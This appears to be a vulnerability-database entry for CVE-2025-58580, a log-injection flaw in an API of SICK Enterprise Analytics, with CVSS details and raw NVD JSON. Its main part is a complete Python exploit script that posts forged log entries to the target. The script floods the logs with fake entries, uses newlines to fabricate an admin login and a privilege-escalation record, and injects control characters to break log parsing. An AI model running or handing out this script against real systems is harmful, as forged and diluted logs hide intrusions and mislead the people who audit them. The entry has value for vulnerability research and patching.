Security Vulnerability Report
中文
CVE-2025-58580 CVSS 6.5 MEDIUM

CVE-2025-58580

Published: 2025-10-06 07:15:34
Last Modified: 2026-01-27 17:27:31

Description

An API endpoint allows arbitrary log entries to be created via POST request. Without sufficient validation of the input data, an attacker can create manipulated log entries and thus falsify or dilute logs, for example.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:sick:enterprise_analytics:*:*:*:*:*:*:*:* - VULNERABLE
SICK产品API接口(具体受影响版本请参考SICK官方安全公告SCA-2025-0010)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58580 PoC - SICK API Log Injection # This PoC demonstrates how an attacker can inject arbitrary log entries # via the unprotected API endpoint using POST requests. import requests # Target API endpoint (replace with actual target URL) target_url = "https://target-sick-device/api/logs" # Method 1: Basic log injection - create arbitrary log entry def inject_basic_log(): """Inject a single arbitrary log entry via POST request""" payload = { "level": "INFO", "message": "System maintenance completed successfully", "timestamp": "2025-10-06T12:00:00Z", "source": "admin_console" } response = requests.post(target_url, json=payload) print(f"[+] Basic log injection - Status: {response.status_code}") return response # Method 2: Log dilution attack - flood with fake entries def log_dilution_attack(count=1000): """Inject大量伪造日志条目以稀释合法日志""" for i in range(count): payload = { "level": "DEBUG", "message": f"Routine health check #{i} - all systems nominal", "timestamp": "2025-10-06T12:00:00Z", "source": "health_monitor" } requests.post(target_url, json=payload) print(f"[+] Log dilution attack completed - {count} fake entries injected") # Method 3: Log forgery with newline injection def forge_log_with_newlines(): """利用换行符注入伪造多条日志条目""" payload = { "level": "INFO", "message": "User login attempt failed\n2025-10-06T12:00:00Z INFO User 'admin' logged in successfully from 192.168.1.100\n2025-10-06T12:00:01Z INFO Privilege escalation granted to user 'admin'", "timestamp": "2025-10-06T12:00:00Z", "source": "auth_service" } response = requests.post(target_url, json=payload) print(f"[+] Log forgery with newlines - Status: {response.status_code}") return response # Method 4: Inject special characters to corrupt log parsing def inject_special_chars(): """注入特殊字符破坏日志解析""" payload = { "level": "INFO", "message": "Normal log entry\x00\x1b[31mFAKE ALERT: System compromised\x1b[0m\xff\xfe", "timestamp": "2025-10-06T12:00:00Z", "source": "system" } response = requests.post(target_url, json=payload) print(f"[+] Special character injection - Status: {response.status_code}") return response # Execute attacks if __name__ == "__main__": print("[*] CVE-2025-58580 PoC - SICK API Log Injection") print("[*] Starting exploitation...\n") inject_basic_log() forge_log_with_newlines() inject_special_chars() # log_dilution_attack(1000) # Uncomment for dilution attack print("\n[*] Exploitation complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58580", "sourceIdentifier": "[email protected]", "published": "2025-10-06T07:15:34.400", "lastModified": "2026-01-27T17:27:31.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An API endpoint allows arbitrary log entries to be created via POST request. Without sufficient validation of the input data, an attacker can create manipulated log entries and thus falsify or dilute logs, for example."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-117"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sick:enterprise_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "04E8EA78-2780-40C0-B5BA-6CF99DE6355B"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}